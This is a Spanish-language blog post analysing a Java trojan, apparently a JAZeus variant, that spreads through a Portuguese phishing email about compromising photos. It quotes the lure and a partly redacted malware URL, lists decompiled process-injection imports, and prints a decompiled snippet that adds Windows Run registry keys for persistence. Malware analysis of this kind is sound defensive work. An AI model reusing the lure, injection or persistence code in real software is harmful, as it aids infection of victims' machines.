Análisis de un troyano en JAVA

Igual eu te falei aquele dia e voce nao quis acreditar. Amigo a gente conta no dedo!
Veja só o que seu amiguinho andou aprontando nessas fotos.
DSC02421.jpg (568,3 KB)
DSC02521.jpg (603,4 KB)

Ese enlace conduce a un archivo ejecutable: http://www.givin[ELIMINADO].com/UserFiles/File/photos.php?0.19325211365355321.

Al descargar el troyano y observarlo con Peid se encontrará que está empaquetado con UPX . Si abrimos el EXE veremos un string como este:

.rdata:00414BA8 0000000B C WINRAR.SFX                                                     
.rdata:00414BCC 00000039 C d:\\Projects\\WinRAR\\SFX\\build\\sfxrar32\\Release\\sfxrar.pdb

Ahora vamos a lo mejor, decompilar los .CLASS, los archivos de JAVA compilados (el famoso código objeto .OBJ). Estos archivos son interpretados por el classloader de JAVA y son ejecutados como una aplicación más. Existen muchos decompiladores de archivos CLASS de JAVA y uno de los más conocidos es el DJ JAVA Decompiler.

Veremos los Imports, algunos interesantes y otros no tanto.

import b.d;
import by.squareroot.injector.lib.MyKernel32;
import by.squareroot.injector.struct.Context;
import by.squareroot.injector.struct.MemoryBasicInformation;
import by.squareroot.injector.struct.ProcessInformation;
import by.squareroot.injector.struct.StartupInfoA;
import by.squareroot.injector.struct.TotalProcInfo;
import by.squareroot.injector.struct.WoW64Context;
import by.squareroot.injector.struct.pe.MZHeader;
import by.squareroot.injector.struct.pe.PEInfo;
import by.squareroot.injector.struct.pe.PE_ExtHeader;
import by.squareroot.injector.struct.pe.PE_Header;
import by.squareroot.injector.struct.pe.SectionHeader;
import com.sun.jna.Platform;
import com.sun.jna.Pointer;
import com.sun.jna.platform.win32.Advapi32Util;
import com.sun.jna.platform.win32.WinReg;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.nio.ByteBuffer;
import java.util.Properties;

No debemos rendirnos ahí (hay que aprender a buscar como nos enseño el gran Fravia, QEPD) buscaremos un poco más encontraremos una referencia en este stitio que parece ser de otro reverser analizando jaZEUS.

Si leemos un poco ese artículo para luego continuar con este podemos concluir dos cosas:

1. El creador de este virus usó la misma técnica y recursos que el virus jaZEUS para infectar a sus víctimas.
2. Es una variante de JAZeus o la versión original.

En JAZeus aparentemente los dos .EXE están cifrados, en nuestra variante, solo app.exe está cifrado y dummy.exe no, lo podemos ver simplemente abriendo el EXE y viendo su cabecera. Si debuggeamos dummy.exe veremos que se trata de otro dropper hecho en C++ que buscara desencriptar app.exe, buscando el metodo de cifrado en el archivo method y luego usando ese parámetro para descifrarlo y ejecutarlo.

Aparentemente el método de desempaquetado de este virus es el mismo a como lo hace JAZeus, con la variante que no tiene el launcher. Por lo que veo el launcher esta unificado en a.class ya que ejecuta app.exe luego de desencriptarlo desde ahí dentro. El paquete injector se encarga del armado y la injección en memoria del ejecutable para la ejecución del virus real. En el método "a" de la clase "a", veremos que se pone al inicio para arrancar cuando arranca nuestro SO:

s = a(“data/app.exe“);
b.a a1 = a();
try
{
if((obj = a()) != null)
{
String s1;
if((s1 = ((Properties) (obj)).getProperty(“hklm“)) != null)
{
String s2 = a();
Advapi32Util.registrySetStringValue(WinReg.HKEY_LOCAL_MACHINE, “SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\“, s1, s2);
}
String s3;
if((s3 = ((Properties) (obj)).getProperty(“hklu“)) != null)
{
obj = a();
Advapi32Util.registrySetStringValue(WinReg.HKEY_CURRENT_USER, “Software\\Microsoft\\Windows\\CurrentVersion\\Run\\“, s3, ((String) (obj)));
}
}
}

Si llegara a ser un JAZeus tendremos algunos problemas más de seguro, igualmente podremos encontrar el método de cifrado 3DES como string en los demás .CLASS, además de una posible clave, frase muy utilizada como demo de post en blogs, etc.

Spark de Disidents

Ver original.